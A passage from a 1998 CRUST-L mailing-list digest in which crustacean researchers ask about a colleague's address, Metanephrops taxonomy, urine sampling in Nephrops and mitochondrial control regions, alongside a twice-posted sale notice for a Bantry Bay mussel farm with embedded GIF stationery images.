From owner-crust-l-digest@vims.eduFri Mar 13 11:16:50 1998 Date: Tue, 6 Jan 1998 05:27:39 -0500 From: owner-crust-l-digest@vims.edu Reply to: crust-l@vims.edu To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #111 crust-l-digest Tuesday, 6 January 1998 Volume 01 : Number 111 CRUST-L: The email address of Prof. R. Gilles? Re: CRUST-L: The email address of Prof. R. Gilles? CRUST-L: Metanephrops Re: CRUST-L: Metanephrops Re: CRUST-L: Metanephrops CRUST-L: Bantry Bay Mussel Farm For Sale CRUST-L: Bantry Bay Mussel Farm For Sale CRUST-L: Urine sampling CRUST-L: Mt control region CRUST-L: Artemia biomass CRUST-L: Artemia biomass ---------------------------------------------------------------------- From: Zhao Jianhong Date: Fri, 2 Jan 1998 09:59:33 +0800 (SST) Subject: CRUST-L: The email address of Prof. R. Gilles? Dear colleagues: Does anybody know the email address or Fax number of Prof. R. Gilles in Belgium? All reponses are always appreciated. Thankyou in advance and I wish you all a happy and succesful new year. J.H. Zhao School of Biological Sciences National University of Singapore Lower Kent Ridge Road Singapore 119260 Tel: 65-8747836 (O) Fax: 65-7792486 email: scip5001@nus.edu.sg; zhaojh16@hotmail.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Henry-Michel CAUCHIE Date: Fri, 02 Jan 1998 13:27:23 -0800 Subject: Re: CRUST-L: The email address of Prof. R. Gilles? Zhao Jianhong wrote: > = > Dear colleagues: > = > Does anybody know the email address or Fax number of Prof. R. Gilles in > Belgium? > = > All reponses are always appreciated. Thankyou in advance and I wish you > all a happy and succesful new year. > = > J.H. Zhao > = > School of Biological Sciences > National University of Singapore > Lower Kent Ridge Road > Singapore 119260 > = > Tel: 65-8747836 (O) > Fax: 65-7792486 > email: scip5001@nus.edu.sg; zhaojh16@hotmail.com The adress of R.Gilles is = Gilles Raymond Physiologie animale B=E2t. I1 Physiologie animale qu. Van Beneden, 22 4020 Li=E8ge office_phone: +32-4-3665005 office_fax: +32-4-3665020 email: R.Gilles@ulg.ac.be Best regards and happy new year. - -- = Henry-Michel CAUCHIE / Universite de LIEGE (BELGIUM) = Present adress: CRP-CU LUXEMBOURG = 162a, Avenue de la Faiencerie, L-1511 Luxembourg = Tel: + 352.46.66.44.412 Fax: +352.46.66.44.413 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "MAYFIELD, S, STEVE, MYFSTE001" Date: Fri, 2 Jan 1998 14:31:03 SAST-2 Subject: CRUST-L: Metanephrops Happy new year to you all... Please can anyone tell me if Metanephrops is a prawn or a shrimp? Thanks in advance Steve STEPHEN MAYFIELD ZOOLOGY DEPARTMENT UNIVERSITY OF CAPE TOWN CAPE TOWN, SOUTH AFRICA TEL:27-21-6503616 FAX:27-21-6503301 EMAIL:MAYFIELD@BOTZOO.UCT.AC.ZA =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Magnus Date: Fri, 2 Jan 1998 14:11:48 +0100 (BST) Subject: Re: CRUST-L: Metanephrops Hi Steve Depends on whether you are British or American. According to N.B. Marshall (author of Developments in Deep-Sea Biology) 'shrimp' is American while 'prawn' is British. Happy hogmanay! Magnus + + + + + + + + + + + + + + + + + + + + + + + Magnus L. Johnson, Department of Biology, University of Leicester, Leicester, LE1 7RH, U.K. see : 'http://www.le.ac.uk/biology/research/blpgs.html#magnus' and : 'http://www.geocities.com/CapeCanaveral/Hangar/5577/' email : mlj2@le.ac.UK Tel : 0116 252 3353/2 \\\/----<==>-----\/// [>{|||||||x: :x||||||}<] ///\----<==>-----/\\\ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jan Factor Date: Fri, 02 Jan 1998 12:19:23 -0500 Subject: Re: CRUST-L: Metanephrops Dear Steve: Metanephrops is a genus of "true" clawed lobsters in the Family Nephropidae, Subfamily Nephropinae; it shares both family and subfamily with the genera Homarus, Nephrops, and Eunephrops. Some lobsters in this group seem to have picked up the common name "prawn", as in Nephrops norvegicus, sometimes referred to as the "Dublin Bay Prawn" as well as the "Norwegian Lobster". Hope this is useful. Contact me if you need references. Sincerely, Jan Factor - ----------------------------------------------- Jan Robert Factor, Ph.D. E-MAIL: jfactor@purvid.purchase.edu TEL: 914-251-6659 FAX: 914-251-6635 MAILING ADDRESS: Division of Natural Sciences, Purchase College, State University of New York, Purchase, NY 10577 - -----------------------------------------------  MAYFIELD, S, STEVE, MYFSTE001 wrote: > Happy new year to you all... > > Please can anyone tell me if Metanephrops is a prawn or a shrimp? > > Thanks in advance > Steve > STEPHEN MAYFIELD > ZOOLOGY DEPARTMENT > UNIVERSITY OF CAPE TOWN > CAPE TOWN, SOUTH AFRICA > TEL:27-21-6503616 > FAX:27-21-6503301 > EMAIL:MAYFIELD@BOTZOO.UCT.AC.ZA =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Brian Wall" Date: Fri, 2 Jan 1998 23:47:52 -0000 Subject: CRUST-L: Bantry Bay Mussel Farm For Sale This is a multi-part message in MIME format. - ------=_NextPart_000_0073_01BD17D8.D7677BA0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit For Sale Mussel Farm, Bantry Bay, Ireland - ---------------------------------------------------------------------------- - ---- Bantry Inshore Aquaculture http://indigo.ie/~tad/mussels/ Bantry Inshore Aquaculture, a fishfarming company, seven years cultivating shellfish commercially, is being put up for sale due to illness. The company farms mussels using 40 longlines in 27 hectares in Bantry Bay - Ireland's richest shellfish-growing waters. The company's longlines are within easy reach of a good pier at Bantry. A 65ft workboat specially adapted for fishfarming is included. Production in 1997/98 will reach 200 tonnes with potential for 250 tonnes in the following year. Mussels are in growing demand with two factories in Bantry and five others in Ireland buying at IR£0.45/kg landed at Bantry Pier. The company holds a mariculture license for 12 hectares and has been offered a further 15 hectares by the Irish Department of the Marine. Bantry is Ireland's foremost mussel growing area. It produces 75% of Ireland's total of rope grown mussels. It has qualities which are unique to Bantry: Warm plankton-rich water, deep sheltered water not used for fishing, good circulation with strong tidal movement around Whiddy Island, a long deep day channeling plankton and nutrients into the mussel growing areas, four rivers bringing nutrients into the same area from Bantry's hinterland, a good pier, and Ireland's largest mussel processing factory in the town and another smaller factory outside the town. We have put a price of IR£150,000 on the entire operation which we believe is reasonable: 1.. in view of the farm's considerable room for expansion, 2.. and, because a profit of £50,000 per annum should be easily achieveable without further expansion. However, this price is negotiable and the best offer will secure. We would happy to help any new owners find their footing in the first few years and help them develop the farm. There is also a wide pool of very experienced young men in the area who would be available to work on or manage the farm. We will consider all offers and are open to ideas. If you need any further information please do not hesitate to contact me at the above address or by e-mail. Please e-mail Brian Wall (Secretary) at brian.wall@biosys.net for further information or log onto http://indigo.ie/~tad/mussels/. - ---------------------------------------------------------------------------- - ---- Type and Document - ------=_NextPart_000_0073_01BD17D8.D7677BA0 Content-Type: application/octet-stream Content-Transfer-Encoding: base64 Content-ID: <006701bd17d8$d560af20$LocalHost@ophelia-iv> R0lGODlhAQABAIAAAL6+vgAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw== - ------=_NextPart_000_0073_01BD17D8.D7677BA0 Content-Type: application/octet-stream Content-Transfer-Encoding: base64 Content-ID: <006a01bd17d8$d5791920$LocalHost@ophelia-iv> R0lGODlhPAApAO8AAP///62sqrOysaqqptvMbczMy6SkotPFav/+dIqFYpOMZfX19dXDTv//g3p1 W766m+Pi4v//e4uFXunn3LapWMXFw/3seuzs6/roaNPT06ScZoN+XaalmujXZsK8mLurRXJuVrqs Tru0itfJbMa5XJWNXP797puTWfv3ys3EZ7SpZ2lkSVdTOvLeWvz62Ozcc5yVav//naabV728uuHO VMy7Sqmlho6JZP/+a0tINeXRVKuleZuWdv/rXtPFZNzc2/TjdYR7RrGxrsKyR9zazJuYisnEmJWO aZqTZObZiP/+lKqjZdTTy//ye7Ord/zrdOXVcdjUdLW0pbWmQunmiurmynVxWtfLecrGrcu9ZH15 YtnZ13JtR7qzaNLQxv76uv/zYry7tMS8h5WLTPnndryxWNPMl+TSW1FNOLq1mWxoU11VI9XKgu7a V+nVVdjWysO2YtzMZfvmXNTHX4aAXmJdPsvEdFpWRNG/TIV8P4mGd8y/aP//i66hVZ2cl4eCYf/z c/X07ry3lX56Xf/9ZfbiXOrbesa5Zre0cdjHWdXLY4J+Zt3KUYyDSnVsNUlFLKOdeLGjS+fmZ9HO ufXqo6KehdvSh7Otifboh/jqkrGul9bTvrm2odDPy8HAvfXlfzo3JlNNKO7peb+5k/jneC8rGLSx nLy5penWWv//8NvKXGJaJci9dHBnLIZ+UMi3Sa+hRrepSaWZSpCMd2hiPmFdSIyEVebmp+Lfz4+K bOTdqZqNPLCvru7jn+3ZWouHaMG1a+HWkdvQaf/0bLezl768rZ6YZ/Lxdf//o5GPg9LOr8S/a4+I X8jHxcrKxcG+qObguXt2Vfj38PPx5GxkLnZyU+Df2NvYwreoQ42BNPHosndwRH92P5eQaca1SJaQ Z7i3tNnZkP//4OfZduLUeDs3HwAAAPDfdZyRSv////////////////////////////////////// /////////////////////////////////////////////////////yH5BAEAAAAALAAAAAA8ACkA QAj/AAEIHEiwoEEXX2IgAAOmRw9MFr64MEiRYBVdB0hUKWgiDgMdOkhQYIViEwAUYCQpgAGhoAtk SvhESZECgYlbCHKGWZRDESApCwQGQkEpmAYutggQGPFAQIGCNfAwoHanEgodFG68GfiFEA4EXQI8 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 - ------=_NextPart_000_0073_01BD17D8.D7677BA0-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Brian Wall" Date: Fri, 2 Jan 1998 23:51:03 -0000 Subject: CRUST-L: Bantry Bay Mussel Farm For Sale This is a multi-part message in MIME format. - ------=_NextPart_000_00C5_01BD17D9.490A5D40 Content-Type: multipart/alternative; boundary="----=_NextPart_001_00C6_01BD17D9.491B2620" - ------=_NextPart_001_00C6_01BD17D9.491B2620 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable =20 For Sale Mussel Farm, Bantry Bay, Ireland =20 - -------------------------------------------------------------------------= - ------- Bantry Inshore Aquaculture http://indigo.ie/~tad/mussels/ Bantry Inshore Aquaculture, a fishfarming company, seven years = cultivating shellfish commercially, is being put up for sale due to = illness. =20 The company farms mussels using 40 longlines in 27 hectares in = Bantry Bay - Ireland's richest shellfish-growing waters. The company's = longlines are within easy reach of a good pier at Bantry. A 65ft = workboat specially adapted for fishfarming is included. =20 Production in 1997/98 will reach 200 tonnes with potential for 250 = tonnes in the following year. Mussels are in growing demand with two = factories in Bantry and five others in Ireland buying at IR=A30.45/kg = landed at Bantry Pier. The company holds a mariculture license for 12 = hectares and has been offered a further 15 hectares by the Irish = Department of the Marine. =20 Bantry is Ireland's foremost mussel growing area. It produces 75% of = Ireland's total of rope grown mussels. It has qualities which are unique = to Bantry: Warm plankton-rich water, deep sheltered water not used for = fishing, good circulation with strong tidal movement around Whiddy = Island, a long deep day channeling plankton and nutrients into the = mussel growing areas, four rivers bringing nutrients into the same area = from Bantry's hinterland, a good pier, and Ireland's largest mussel = processing factory in the town and another smaller factory outside the = town. =20 We have put a price of IR=A3150,000 on the entire operation which we = believe is reasonable:=20 =20 1.. in view of the farm=92s considerable room for expansion,=20 2.. and, because a profit of =A350,000 per annum should be = easily achieveable without further expansion.=20 However, this price is negotiable and the best offer will = secure. =20 We would happy to help any new owners find their footing in the = first few years and help them develop the farm. There is also a wide = pool of very experienced young men in the area who would be available to = work on or manage the farm. =20 We will consider all offers and are open to ideas. If you need any = further information please do not hesitate to contact me at the above = address or by e-mail.=20 =20 Please e-mail Brian Wall (Secretary) at brian.wall@biosys.net for = further information or log onto http://indigo.ie/~tad/mussels/. =20 - -------------------------------------------------------------------------= - ------- Type and Document=20 =20 - ------=_NextPart_001_00C6_01BD17D9.491B2620 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Type and Document = Stationery

=

      For Sale = Mussel Farm,=20 Bantry Bay, Ireland


    Bantry Inshore Aquaculture

    http://indigo.ie/~tad/mussels/

      Bantry Inshore Aquaculture, a fishfarming = company,=20 seven years cultivating shellfish commercially, is being put up for = sale due=20 to illness.

      The company farms mussels using 40 longlines in 27 = hectares=20 in Bantry Bay - Ireland's richest shellfish-growing waters. The = company's=20 longlines are within easy reach of a good pier at Bantry. A 65ft = workboat=20 specially adapted for fishfarming is included.

      Production in 1997/98 will reach 200 tonnes with = potential=20 for 250 tonnes in the following year. Mussels are in growing demand = with two=20 factories in Bantry and five others in Ireland buying at = IR£0.45/kg=20 landed at Bantry Pier. The company holds a mariculture license for = 12=20 hectares and has been offered a further 15 hectares by the Irish = Department=20 of the Marine.

      Bantry is Ireland's foremost mussel growing area. = It=20 produces 75% of Ireland's total of rope grown mussels. It has = qualities=20 which are unique to Bantry: Warm plankton-rich water, deep sheltered = water=20 not used for fishing, good circulation with strong tidal movement = around=20 Whiddy Island, a long deep day channeling plankton and nutrients = into the=20 mussel growing areas, four rivers bringing nutrients into the same = area from=20 Bantry's hinterland, a good pier, and Ireland's largest mussel = processing=20 factory in the town and another smaller factory outside the = town.

      We have put a price of IR£150,000 on = the=20 entire operation which we believe is reasonable: =

      1. in view of the farm’s = considerable room=20 for expansion,
      2. and, because a profit of = £50,000 per=20 annum should be easily achieveable without further expansion.=20

      However, this price is negotiable and the best = offer will=20 secure.

      We would happy to help any new owners find their = footing in=20 the first few years and help them develop the farm. There is also a = wide=20 pool of very experienced young men in the area who would be = available to=20 work on or manage the farm.

      We will consider all offers and are open to ideas. = If you=20 need any further information please do not hesitate to contact me at = the=20 above address or by e-mail.

      Please e-mail = Brian Wall=20 (Secretary) at brian.wall@biosys.net=20 for further information or log onto http://indigo.ie/~tad/mussels/.

      Type and = Document

    - ------=_NextPart_001_00C6_01BD17D9.491B2620-- - ------=_NextPart_000_00C5_01BD17D9.490A5D40 Content-Type: application/octet-stream Content-Transfer-Encoding: base64 Content-ID: <00b801bd17d9$4851bba0$LocalHost@ophelia-iv> R0lGODlhAQABAIAAAL6+vgAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw== - ------=_NextPart_000_00C5_01BD17D9.490A5D40 Content-Type: application/octet-stream Content-Transfer-Encoding: base64 Content-ID: <00bb01bd17d9$489e06e0$LocalHost@ophelia-iv> R0lGODlhPAApAO8AAP///62sqrOysaqqptvMbczMy6SkotPFav/+dIqFYpOMZfX19dXDTv//g3p1 W766m+Pi4v//e4uFXunn3LapWMXFw/3seuzs6/roaNPT06ScZoN+XaalmujXZsK8mLurRXJuVrqs Tru0itfJbMa5XJWNXP797puTWfv3ys3EZ7SpZ2lkSVdTOvLeWvz62Ozcc5yVav//naabV728uuHO VMy7Sqmlho6JZP/+a0tINeXRVKuleZuWdv/rXtPFZNzc2/TjdYR7RrGxrsKyR9zazJuYisnEmJWO aZqTZObZiP/+lKqjZdTTy//ye7Ord/zrdOXVcdjUdLW0pbWmQunmiurmynVxWtfLecrGrcu9ZH15 YtnZ13JtR7qzaNLQxv76uv/zYry7tMS8h5WLTPnndryxWNPMl+TSW1FNOLq1mWxoU11VI9XKgu7a V+nVVdjWysO2YtzMZfvmXNTHX4aAXmJdPsvEdFpWRNG/TIV8P4mGd8y/aP//i66hVZ2cl4eCYf/z c/X07ry3lX56Xf/9ZfbiXOrbesa5Zre0cdjHWdXLY4J+Zt3KUYyDSnVsNUlFLKOdeLGjS+fmZ9HO ufXqo6KehdvSh7Otifboh/jqkrGul9bTvrm2odDPy8HAvfXlfzo3JlNNKO7peb+5k/jneC8rGLSx nLy5penWWv//8NvKXGJaJci9dHBnLIZ+UMi3Sa+hRrepSaWZSpCMd2hiPmFdSIyEVebmp+Lfz4+K bOTdqZqNPLCvru7jn+3ZWouHaMG1a+HWkdvQaf/0bLezl768rZ6YZ/Lxdf//o5GPg9LOr8S/a4+I X8jHxcrKxcG+qObguXt2Vfj38PPx5GxkLnZyU+Df2NvYwreoQ42BNPHosndwRH92P5eQaca1SJaQ Z7i3tNnZkP//4OfZduLUeDs3HwAAAPDfdZyRSv////////////////////////////////////// /////////////////////////////////////////////////////yH5BAEAAAAALAAAAAA8ACkA QAj/AAEIHEiwoEEXX2IgAAOmRw9MFr64MEiRYBVdB0hUKWgiDgMdOkhQYIViEwAUYCQpgAGhoAtk SvhESZECgYlbCHKGWZRDESApCwQGQkEpmAYutggQGPFAQIGCNfAwoHanEgodFG68GfiFEA4EXQI8 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 - ------=_NextPart_000_00C5_01BD17D9.490A5D40-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: GRANT D STENTIFORD <9707223s@UDCF.GLA.AC.UK> Date: Sun, 04 Jan 1998 11:46:12 Subject: CRUST-L: Urine sampling Dear Crust-l readers, this may be a very common-place procedure, but how do you succesfully take urine samples from relatively small Crustacea (such as Nephrops norvegicus). I understand that a small rounded needle pushed into the antennal gland opening works....are there any advances on this idea or suggestions of others? Happy New Year Grant Stentiford @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Grant Stentiford. Crustacean Parasitology Division of Environmental and Evolutionary Biology, Graham Kerr Building, University of Glasgow. Scotland. United Kingdom. G12 8QQ Tel; UK, (0141) 3306627 email; g.stentiford@udcf.gla.ac.uk Grant Stentiford. Crustacean Parasitology Division of Environmental and Evolutionary Biology, Graham Kerr Building, University of Glasgow. Scotland. United Kingdom. G12 8QQ Tel; UK, (0141) 3306627 email; g.stentiford@udcf.gla.ac.uk =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Florence Crab Team Date: Mon, 05 Jan 1998 17:42:55 +0100 Subject: CRUST-L: Mt control region Hi, I'm looking for some information about mitochondrial control region of crustacea, in particularly of Decapoda. Thanks in advance 